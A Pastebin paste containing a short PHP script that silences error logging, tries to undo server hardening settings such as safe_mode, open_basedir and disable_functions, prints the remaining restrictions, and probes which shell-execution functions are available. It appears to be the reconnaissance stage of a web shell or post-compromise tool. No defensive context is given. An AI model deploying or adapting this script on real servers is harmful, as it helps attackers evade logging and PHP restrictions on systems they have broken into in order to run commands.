Advertisement
Guest User

Untitled

a guest
Sep 22nd, 2017
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.18 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. @ini_restore("safe_mode");
  4. @ini_restore("open_basedir");
  5. @ini_restore("safe_mode_include_dir");
  6. @ini_restore("safe_mode_exec_dir");
  7. @ini_restore("disable_functions");
  8. @ini_restore("allow_url_fopen");
  9. @ini_set('error_log',NULL);
  10. @ini_set('log_errors',0);
  11.  
  12. print "disable_functions: ".@ini_get('disable_functions')."<br />";
  13. print "open_basedir: ".@ini_get('open_basedir')."<br />";
  14. print "safe_mode: ".@ini_get('safe_mode')."<br />";
  15.  
  16. function test_exec(){
  17. if(@function_exists('exec')){
  18. return "exec";
  19. }elseif(@function_exists('shell_exec')){
  20. return "shell_exec";
  21. }elseif(@function_exists('system')){
  22. return "system";
  23. }elseif(@function_exists('passthru')){
  24. return "passthru";
  25. }elseif(@function_exists('popen')){
  26. return "popen";
  27. }elseif(@function_exists('proc_open')){
  28. return "proc_open";
  29. }elseif(@function_exists('pcntl_exec')||@function_exists('pcntl_fork')){
  30. return "pcntl_exec";
  31. }else{
  32. return NULL;
  33. }
  34. }
  35. print "execution style: ".test_exec();
  36. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement